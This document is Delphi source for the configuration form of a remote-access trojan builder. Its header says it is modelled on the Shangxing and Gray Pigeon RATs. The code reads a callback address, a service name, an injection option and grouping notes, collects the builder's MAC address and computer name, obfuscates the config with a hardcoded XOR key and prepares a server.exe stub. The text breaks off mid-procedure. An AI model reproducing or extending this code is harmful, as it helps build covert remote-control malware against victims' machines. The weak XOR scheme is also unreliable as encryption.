unitconfigserver.pas

参照上兴、鸽子等源码编写编写出来的。 编译环境：Delphi7+SP+DP+indy9等控件

unit UnitConfigServer;

interface

uses
  SettingsDef,madres,Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ShellApi, jpeg, ExtCtrls, Buttons, bsSkinData,
  BusinessSkinForm, SkinData, DynamicSkinForm, winntservice, SkinBoxCtrls,
  SkinCtrls, ComCtrls, SkinTabs, md5, IdBaseComponent, IdComponent,
  IdTCPConnection, IdTCPClient, IdHTTP, IdAntiFreezeBase, IdAntiFreeze,
  Mask,myfunction,inifiles,IconChanger;
type
  TConfigServer = class(TForm)
    DSF: TspDynamicSkinForm;
    config: TspSkinPageControl;
    spSkinTabSheet3: TspSkinTabSheet;
    spSkinMemo1: TspSkinMemo;
    IdHTTP1: TIdHTTP;
    IdAntiFreeze1: TIdAntiFreeze;
    spSkinButton1: TspSkinButton;
    spSkinButton2: TspSkinButton;
    spSkinButton3: TspSkinButton;
    wt: TspSkinCheckRadioBox;
    MemoOutput: TMemo;
    ImageIcon: TImage;
    OpenDialog: TOpenDialog;
    spSkinTabSheet1: TspSkinTabSheet;
    Edit2: TEdit;
    Edit4: TEdit;
    Edit3: TEdit;
    spSkinLabel1: TspSkinLabel;
    spSkinLabel2: TspSkinLabel;
    spSkinLabel3: TspSkinLabel;
    spSkinLabel4: TspSkinLabel;
    StatusBar1: TStatusBar;
    ProgressBar1: TProgressBar;
    spSkinLabel5: TspSkinLabel;
    spSkinLabel6: TspSkinLabel;
    edit5: TEdit;
    edit6: TEdit;
    Edit7: TEdit;
    spSkinLabel7: TspSkinLabel;
    inject: TspSkinComboBox;
    Label24: TspSkinStdLabel;
    spSkinStdLabel1: TspSkinStdLabel;
    spSkinStdLabel2: TspSkinStdLabel;
    Edit1: TEdit;
    procedure BitBtn2Click(Sender: TObject);

    procedure Label9Click(Sender: TObject);
    procedure BitBtn3Click(Sender: TObject);
    procedure BitBtn1Click(Sender: TObject);
    procedure IdHTTP1Work(Sender: TObject; AWorkMode: TWorkMode;
      const AWorkCount: Integer);
    procedure IdHTTP1WorkBegin(Sender: TObject; AWorkMode: TWorkMode;
      const AWorkCountMax: Integer);
    {  procedure IdHTTP1Status(ASender: TObject; const AStatus: TIdStatus;
        const AStatusText: String);  }
    procedure IdHTTP1WorkEnd(Sender: TObject; AWorkMode: TWorkMode);
    procedure StatusBar1DrawPanel(StatusBar: TStatusBar;
      Panel: TStatusPanel; const Rect: TRect);

    procedure spSkinButton2Click(Sender: TObject);


    procedure FormCreate(Sender: TObject);
    procedure edit1Change(Sender: TObject);
    procedure Edit2Change(Sender: TObject);
    procedure Edit3Change(Sender: TObject);
    procedure Edit4Change(Sender: TObject);

    procedure ImageIconClick(Sender: TObject);
    procedure edit5Change(Sender: TObject);
    procedure edit6Change(Sender: TObject);
    procedure Edit7Change(Sender: TObject);

    procedure Edit2KeyPress(Sender: TObject; var Key: Char);

  private
    { Private declarations }
  IconPath : string;
  public
    progressBarRect: TRect; { Public declarations }
    { Public declarations }

  end;

var
  ConfigServer: TConfigServer;
  Filenupx: string;
  repserv: string = 'netrt';
  dllname:string='sysn.dll';
  backserv: string = 'netservice';
  backup,repkey: string;
  orikey: string;
  hkParam: HKEY = 0;
  hkSB: HKEY;
  rType: LongInt;
  head:string;
  tempserver,mainserver:string;
implementation

//{$R 'upxserver.RES'}
{$R *.dfm}


function MacAddress: string;
var    Lib: Cardinal;
Func: function(GUID: PGUID): Longint; stdcall;
GUID1, GUID2: TGUID;
begin
Result := '';
Lib := LoadLibrary('rpcrt4.dll');
if Lib <> 0 then    begin
if Win32Platform <>VER_PLATFORM_WIN32_NT then
@Func := GetProcAddress(Lib, 'UuidCreate')
 else @Func := GetProcAddress(Lib, 'UuidCreateSequential');   
   if Assigned(Func) then      
begin
if (Func(@GUID1) = 0) and          (Func(@GUID2) = 0) and          (GUID1.D4[2] = GUID2.D4[2]) and          (GUID1.D4[3] = GUID2.D4[3]) and          (GUID1.D4[4] = GUID2.D4[4]) and          (GUID1.D4[5] = GUID2.D4[5]) and          (GUID1.D4[6] = GUID2.D4[6]) and          (GUID1.D4[7] = GUID2.D4[7])
then        begin
   Result :=           IntToHex(GUID1.D4[2], 2) + '-' +           IntToHex(GUID1.D4[3], 2) + '-' +           IntToHex(GUID1.D4[4], 2) + '-' +           IntToHex(GUID1.D4[5], 2) + '-' +           IntToHex(GUID1.D4[6], 2) + '-' +           IntToHex(GUID1.D4[7], 2);
    end;
 end;
 FreeLibrary(Lib);
 end;
end;
function ExtractRes(ResType, ResName, OutName: string): Boolean;
var
  HResInfo: THandle;
  HGlobal: THandle;
  HFile: THandle;
  Ptr: Pointer;
  Size, N: Integer;
begin
  HFile := INVALID_HANDLE_VALUE;
  repeat
    Result := False;
    HResInfo := FindResource(HInstance, PChar(ResName), PChar(ResType));
    if HResInfo = 0 then Break;
    HGlobal := LoadResource(HInstance, HResInfo);
    if HGlobal = 0 then Break;
    Ptr := LockResource(HGlobal);
    Size := SizeOfResource(HInstance, HResInfo);
    if Ptr = nil then Break;
    HFile := CreateFile(PChar(OutName), GENERIC_READ or GENERIC_WRITE,
      0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
    if HFile = INVALID_HANDLE_VALUE then Break;
    if WriteFile(HFile, Ptr^, Size, LongWord(N), nil) then Result := True;
  until True;
  if HFile <> INVALID_HANDLE_VALUE then CloseHandle(HFile);
  SetFileAttributes(PChar(OutName), 0);
end;

procedure TConfigServer.BitBtn2Click(Sender: TObject);
begin
  close;
end;

procedure TConfigServer.Label9Click(Sender: TObject);
begin
  Shellexecute(handle, nil, pchar('http://www.158166.com'), nil, nil,
    sw_shownormal);
end;
{
procedure delupx;
var
  F: textfile;
  BatchFileName: string;
  ProcessInfo: TProcessInformation;
  StartUpInfo: TStartupInfo;
begin
  // DelValue(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp', 'NoRealMode');
  BatchFileName := getcurrentdir + '\Delupx.bat';
  AssignFile(F, BatchFileName);
  Rewrite(F);
  WriteLn(F, ':try');
  WriteLn(F, 'del "' + getcurrentdir + '\UPX.EXE' + '"');
  WriteLn(F, 'if exist "' + getcurrentdir + '\UPX.EXE' + '"' + ' goto try');
  WriteLn(F, 'del %0');
  CloseFile(F);
  FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
  StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
  StartUpInfo.wShowWindow := SW_HIDE;
  if CreateProcess(nil, PChar(BatchFileName), nil, nil, False,
    IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo, ProcessInfo) then
  begin
    CloseHandle(ProcessInfo.hThread);
    CloseHandle(ProcessInfo.hProcess);
  end;
end;         }
{计算机名称}

function Computername: string;
var
  Temp: PChar;
  Size: Dword;
begin
  GetMem(Temp, 255);
  Size := 255;
  if GetComputerName(Temp, Size) = False then
  begin
    FreeMem(Temp);
    Exit;
  end;
  Computername := Temp;
  FreeMem(Temp);
end;
function StrEncrypt(str: string): string;
var
  X, Y: Integer;
  A: Byte;
  Key: string;
begin
  Key := '123456789';
  //这个是加密钥匙,你可以随便设置,但解密钥匙要一样,不然解不了密
  Y := 1;
  for X := 1 to Length(Str) do
  begin
    A := (ord(Str[X]) and $0F) xor (ord(Key[Y]) and $0F);
    Str[X] := char((ord(Str[X]) and $F0) + A);
    Inc(Y);
    if Y > length(Key) then Y := 1;
  end;
  Result := Str;
end;
function StrDecrypt(str: string): string;
var
  X, Y: Integer;
  A: Byte;
  Key: string;
begin
  Key := '123456789'; //注意了,这里要和加密钥匙一样.
  Y := 1;
  for X := 1 to Length(Str) do
  begin
    A := (ord(Str[X]) and $0F) xor (ord(Key[Y]) and $0F);
    Str[X] := char((ord(Str[X]) and $F0) + A);
    Inc(Y);
    if Y > length(Key) then Y := 1;
  end;
  Result := Str;
end;
procedure TConfigServer.BitBtn3Click(Sender: TObject);
var
  ConfigToSave : PSettings;
  alert,hense,sername,serdisplay,cpass,peizhi, urlset, password, index, group: string;
  other:string;//机密信息
begin
  tempserver:=ExtractFilePath(ParamStr(0))+'server.zjj';
  mainserver:=ExtractFilePath(ParamStr(0))+'server.exe';
  /////////////////////////////////////////////////////////////////////
 //本地生成需要的
 copyfile(pchar(ExtractFilePath(ParamStr(0))+'server.dat'), pchar(tempserver), false);
  /////////////////////////////////////////////////////////////////////
  other:=MacAddress+'>'+'>'+Computername;
  //MacAddress+'>'+getcpuinfo+'>'+ipadd+'>'+Computername;
  if edit1.text<>'' then urlset := trim(Edit1.Text)
  else
  begin
  MemoOutput.Lines.Append('上线地址为空，咋上线？');
  exit;
  END;
  password     := trim(Edit2.Text); // 联网检测间隔
  index        := trim(Edit3.Text); //备注
  group        := trim(Edit4.Text); //分组
  sername      :=trim(Edit5.Text);
  serdisplay   :=trim(Edit6.Text);
  cpass        :=trim(Edit7.Text);
  if wt.checked then alert:='1' else alert:='';
  hense:=inttostr(inject.ItemIndex);
  peizhi := urlset + '>' + password + '>'+ index + '>' + group  +
    '>'+other+'>';
    //加上MAC，CPU，外部IP
//Messagebox(0,pchar(peizhi),'警告',mb_ok);
//Messagebox(0,pchar(Strdecrypt(peizhi)),'警告',mb_ok);
  peizhi:=alert+'>'+hense+'>'+sername+'>'+serdisplay+'>'+cpass+'>'+peizhi;
  peizhi:=StrEncrypt(peizhi);
  if length(peizhi)>254 then
  begin
  Messagebox(0,pchar('配置信息超出上限'+inttostr(length(peizhi)-254)+'字节,请修改!'),'警告',mb_ok);
  exit;
  end;
   /////////////////////////////////////////////////////////////////////
 { if fileexists(pchar(tempserver)) then  //本地生成不需要的
  begin
    try
      SetFileAttributes(PChar(tempserver), 0);
      deletefile(tempserver); //防止别人破解...
    except
    end;
  end;   }
 /////////////////////////////////////////////////////////////////////
  if fileexists(pchar(mainserver)) then
  begin
    try
      SetFileAttributes(PChar(mainserver), 0);
      deletefile(mainserver); //防止别人破解...
    except
    end;
  end;
 {if bserver.checked then
  try
    if not crack_authen(wtyzhurl) then exit;
  except
  end
  else
  try
    if not crack_authen(yzhurl) then exit;
  except
  end;}
  /////////////////////////////////////////////////////////////////////
{  if bserver.checked then               //本地生成不需要的
  try
    //if not authen(wtyzhurl) then exit;
  except
  end
  else